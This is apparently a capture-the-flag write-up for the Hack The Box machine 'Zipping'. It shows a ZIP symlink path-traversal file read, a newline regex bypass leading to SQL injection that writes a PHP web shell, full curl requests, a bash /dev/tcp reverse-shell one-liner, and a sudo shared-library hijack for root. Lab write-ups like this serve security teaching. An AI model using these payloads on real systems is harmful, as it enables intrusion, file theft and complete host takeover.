Zipping is a Linux machine hosting a website with a form used to upload ZIP archives that contain a PDF document. Arbitrary files on the server can be read by creating a symbolic link to a directory traversal sequence, allowing for the PHP code of any page on the site to be viewed. A SQL injection vulnerability can be discovered in cart.php
and then leveraged to get a reverse shell. Once on the system, enumeration reveals that the current user has sudo
permission to run a custom binary (/usr/bin/stock
). Analysis of the program with strace
shows that a call is made to a shared library that doesn't exist on the system (/home/rektsu/.config/libcounter.so
). This can be exploited by writing a custom shared library of the same name that spawns a root shell once libcounter.so
is called within /usr/bin/stock
.
nmap
scan:
Open ports:
- 22 (SSH)
- 80 (HTTP)
Initial visit to the webpage at zipping.htb
brought up a home page for a watch store:
The "Work with Us" page at zipping.htb/upload.php
had an upload form for ZIP archives that must contain a single PDF:
Testing the functionality of the form showed that the ZIP was automatically getting decompressed on the server, this meant that it was potentially vulnerable to arbitrary file read. Therefore, I tried this method shown on HackTricks which uses a symlink to a directory traversal payload.
First, I created the symlink with a .pdf
extension to bypass the check for a PDF within the archive which then points to the /etc/passwd
file on the target system:
passwd.pdf
was now a symlink pointing to the source file ../../../../../../etc/passwd
:
Next, I created a ZIP archive with the symlink:
Uploaded the ZIP:
Once it was uploaded, I visited the link provided and opened dev tools. Within the network tab, I copied the base64 encoded data in the response into a file called passwd.txt
:
After decoding the response, the /etc/passwd
file was revealed, confirming successful local file read:
The method above can be used to view the code of any page on the site or other files on the server, I'll mention the most interesting ones below.
I created a ZIP that contained a symlink pointing to /var/www/html/index.php
in order to view the code and see what caused the zip path traversal vulnerability:
Within the network tab of dev tools, I copied the data in the response into a file:
I decoded the base64 data and wrote it into a new file which resulted in the code for zipping.htb/upload.php
:
Here's the PHP code:
// ...
<?php
if(isset($_POST['submit'])) {
// Get the uploaded zip file
$zipFile = $_FILES['zipFile']['tmp_name'];
if ($_FILES["zipFile"]["size"] > 300000) {
echo "<p>File size must be less than 300,000 bytes.</p>";
} else {
// Create an md5 hash of the zip file
$fileHash = md5_file($zipFile);
// Create a new directory for the extracted files
$uploadDir = "uploads/$fileHash/";
$tmpDir = sys_get_temp_dir();
// Extract the files from the zip
$zip = new ZipArchive;
if ($zip->open($zipFile) === true) {
if ($zip->count() > 1) {
echo '<p>Please include a single PDF file in the archive.<p>';
} else {
// Get the name of the compressed file
$fileName = $zip->getNameIndex(0);
if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {
$uploadPath = $tmpDir.'/'.$uploadDir;
echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');
if (file_exists($uploadPath.$fileName)) {
mkdir($uploadDir);
rename($uploadPath.$fileName, $uploadDir.$fileName);
}
echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';
} else {
echo "<p>The unzipped file must have a .pdf extension.</p>";
}
}
} else {
echo "Error uploading file.";
}
}
}
?>
// ...
In the code above, the vulnerability stems from the usage of $zip->getNameIndex(0)
to obtain the name of the first file within the ZIP archive which is assigned to the $fileName
variable and isn't properly validated or sanitized. Once the file is extracted with echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null')
, $fileName
is directly appended to $uploadPath
. This makes the code susceptible to a path traversal attack, and in this case, it can be exploited using a symlink with a directory traversal payload for $fileName
in order to get arbitrary file read.
Next, I applied the same ZIP path traversal method for the shop page at zipping.htb/shop/index.php
:
Created a symlink:
Visited the provided link and copied the base64 encoded response within dev tools:
Decoded the response:
PHP code within zipping.htb/shop/index.php
:
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>
The code above is dynamically loading pages of the website based on the page
parameter in the URL. So given that the cart page is located at the URL zipping.htb/shop/index.php?page=cart
, then the corresponding PHP code for this page is cart.php
:
Once again, I ran the same ZIP path traversal attack for /var/www/html/cart.php
:
Relevant snippet from cart.php
:
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {
// Set the post variables so we easily identify them, also make sure they are integer
$product_id = $_POST['product_id'];
$quantity = $_POST['quantity'];
// Filtering user input for letters or special characters
if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {
echo '';
} else {
// Construct the SQL statement with a vulnerable parameter
$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
// Execute the SQL statement without any sanitization or parameter binding
$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);
// ...
}
}
// ...
?>
In the code above, the preg_match()
method is being used to validate user input, however, it can be bypassed with a newline character since the regex pattern in preg_match()
causes it to only check the first line of user input as stated here on HackTricks. Then, there's the SQL query $sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";
which directly concatenates the product_id
value into the SQL string without proper validation or sanitization, this makes it vulnerable to SQL injection.
The following payload writes a basic web shell to the server:
%0a\'%3bselect+\'<%3fphp+system($_GET[1])%3b+%3f>\'+into+outfile+\'/var/lib/mysql/web-shell.php\'%3b --1
%0a\'%3b
breaks the original SQL query with a line break (%0a
) and a closing quote with a semi-colon ('%3b
). This bypasses the validation within preg_match()
. Then, the web shell is written into a file called web-shell.php
in /var/lib/mysql
since MySQL has write permission to this folder by default to store its database files. The --1
at the end is used to bypass the check that attempts to validate that the data in the POST request contains a number.
So, the SQL statement will be interpreted like this:
SELECT * FROM products WHERE id = '
';SELECT '<?php system($_GET[1]); ?>' into outfile '/var/lib/mysql/web-shell.php'; --1
Once the web shell is written onto the server, it can be visited and used to execute commands within the query parameter (&1=id
):
Using curl
instead of Burp Suite for the above POST and GET requests including the responses:
┌──(kali㉿kali)-[~/Desktop/HTB/Zipping]
└─$ curl -i -s -k -X $'POST' \
-H $'Host: zipping.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 121' -H $'Origin: http://zipping.htb' -H $'Connection: close' -H $'Referer: http://zipping.htb/shop/index.php?page=product&id=1' -H $'Upgrade-Insecure-Requests: 1' \
-b $'PHPSESSID=h3ub8hbi8nllja4n3sdd1u4coq' \
--data-binary $'quantity=1&product_id=%0a\'%3bselect+\'<%3fphp+system($_GET[1])%3b+%3f>\'+into+outfile+\'/var/lib/mysql/web-shell.php\'%3b --1' \
$'http://zipping.htb/shop/index.php?page=cart'
HTTP/1.1 302 Found
Date: Sun, 05 Nov 2023 11:45:47 GMT
Server: Apache/2.4.54 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: index.php?page=cart
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
┌──(kali㉿kali)-[~/Desktop/HTB/Zipping]
└─$ curl -i -s -k -X $'GET' \
-H $'Host: zipping.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 121' -H $'Origin: http://zipping.htb' -H $'Connection: close' -H $'Referer: http://zipping.htb/shop/index.php?page=product&id=1' -H $'Upgrade-Insecure-Requests: 1' \
-b $'PHPSESSID=h3ub8hbi8nllja4n3sdd1u4coq' \
$'http://zipping.htb/shop/index.php?page=/var/lib/mysql/web-shell&1=id'
HTTP/1.1 200 OK
Date: Sun, 05 Nov 2023 11:48:01 GMT
Server: Apache/2.4.54 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8
uid=1001(rektsu) gid=1001(rektsu) groups=1001(rektsu)
With successful command execution confirmed, next I sent a reverse shell one-liner:
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
URL encoded (including special characters)
bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E5%2F443%200%3E%261%27
I started a netcat listener and sent a curl
request with the URL encoded reverse shell command:
netcat caught a shell as rektsu
:
rektsu
was able to run /usr/bin/stock
as sudo
:
/usr/bin/stock
required a password:
The strings
command revealed what looked to be a password:
The password worked, providing access to /usr/bin/stock
. Although, it didn't seem too useful as it was just a program for managing stock inventory:
But, running strace
on the binary showed that the program was making a call to a shared library (/home/rektsu/.config/libcounter.so
) which seemed interesting:
I checked that location and there wasn't a shared object (libcounter.so
) in /home/rektsu/.config
:
Therefore, this could be exploited by creating a custom shared library of the same name (libcounter.so
) in the same location (/home/rektsu/.config
) that spawns a root shell when called by /usr/bin/stock
. I wrote the following custom C source file within /tmp
:
Next, I compiled exploit.c
into the shared library /home/rektsu/.config/libcounter.so
After running sudo /usr/bin/stock
again, the program spawned a root shell: